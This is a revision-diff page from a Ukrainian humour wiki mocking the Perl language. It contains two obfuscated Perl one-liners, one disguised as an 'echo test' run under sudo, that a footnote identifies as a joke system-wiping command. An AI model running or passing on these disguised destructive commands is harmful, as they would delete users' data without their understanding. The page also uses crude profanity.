Perl: відмінності між версіями

Матеріал з Файна Меморії
Перейти до навігації Перейти до пошуку
Surikoff (обговорення | внесок)
Створена сторінка: '''Perl''' ''(перл)'' - скриптова мова програмування, яка на 95% складається з [[Regular expresion|регекс...
 
м Редагування користувача 95.132.221.35 (обговорення) відкинуті до версії користувача Vox
 
(Не показані 13 проміжних версій 4 користувачів)
Рядок 4: Рядок 4:
== Недоліки ==
== Недоліки ==


*Perl з легкістю інтерпретує такий код:
*Perl з легкістю інтерпретує такий код:<br />
{{Блок|
<pre>`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=(
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++;
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++
$_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++
;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`}}
;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`</pre><br />
або
або<br />
{{Блок|
<pre>echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'</pre>
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'}}
<ref>Це [[патч Барміна]]. Якщо ти його запустив, [[Всім похуй|мені тебе жаль]].</ref>
<ref>Це [[патч Барміна]]. Якщо ти його запустив, [[Всім похуй|мені тебе жаль]].</ref>
*Має майже [[Сі|Сюшний]] [[Синтаксис|синтаксис]].
*Має майже [[Сі|Сюшний]] [[Синтаксис|синтаксис]].
*OMFG, він інтерпретує навіть вірші:
*OMFG, він інтерпретує навіть вірші:
{{Блок|
{{Блок|BEFOREHEAD: close door, each window & exit; wait until time.
BEFOREHEAD: close door, each window & exit; wait until time.
  open spellbook, study, read (scan, select, tell us);
  open spellbook, study, read (scan, select, tell us);
  write it, print the hex whole each watches,
  write it, print the hex whole each watches,
Рядок 46: Рядок 43:


== Переваги ==
== Переваги ==
*FIXME:якщо щось знайдеш, пиши сюди. лол.
*На Перл можна писати навіть якщо його не знаєш.<ref> Йобнись головою об клаву і виконай.</ref>


== Посилання ==
== Посилання ==
Рядок 53: Рядок 50:
== Примітки ==
== Примітки ==
{{reflist}}
{{reflist}}
{{Мови програмування|topic = - [[Regexp|регекспи]] рулять}}
[[Категорія:Мови програмування]]

Поточна версія на 19:55, 14 червня 2011

Perl (перл) - скриптова мова програмування, яка на 95% складається з регекспів. Створений Ларрі Уоллом.


Недоліки

  • Perl з легкістю інтерпретує такий код:
`$=`;$_=\%!;($_)=/(.)/;$==++$|;($.,$/,$,,$\,$«,$;,$^,$#,$~,$*,$:,@%)=(
$!=~/(.)(.).(.)(.)(.)(.)..(.)(.)(.)..(.)......(.)/,$»),$=++;$.++;$.++;
$_++;$_++;($_,$\,$,)=($~.$«.»$;$/$%[$?]$_$\$,$:$%[$?]",$«&$~,$#,);$,++
;$,++;$^|=$»;`$_$\$,$/$:$;$~$*$%[$?]$.$~$*${#}$%[$?]$;$\$"$^$~$*.>&$=`


або

echo "test... test... test..." | sudo perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}
<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

[1]

BEFOREHEAD: close door, each window & exit; wait until time. open spellbook, study, read (scan, select, tell us); write it, print the hex whole each watches, reverse its length, write again; kill spiders, pop them, chop, split, kill them. unlink arms, shift, wait & listen (listening, wait), sort the flock (then, warn the "goats" & kill the "sheep"); kill them, dump qualms, shift moralities, values aside, each one; die sheep! die to reverse the system you accept (reject, respect); next step, kill next sacrifice, each sacrifice, wait, redo ritual until "all the spirits are pleased"; do it ("as they say"). do it(*everyone***must***participate***in***forbidden**s*e*x*). return last victim; package body; exit crypt (time, times & "half a time") & close it, select (quickly) & warn your next victim; AFTERWORDS: tell nobody, wait, wait until time; wait until next year, next decade; sleep, sleep, die yourself, die at last


Переваги

  • На Перл можна писати навіть якщо його не знаєш.[2]

Посилання

Офіційний сайт

Примітки

  1. ↑ Це патч Барміна. Якщо ти його запустив, мені тебе жаль.
  2. ↑ Йобнись головою об клаву і виконай.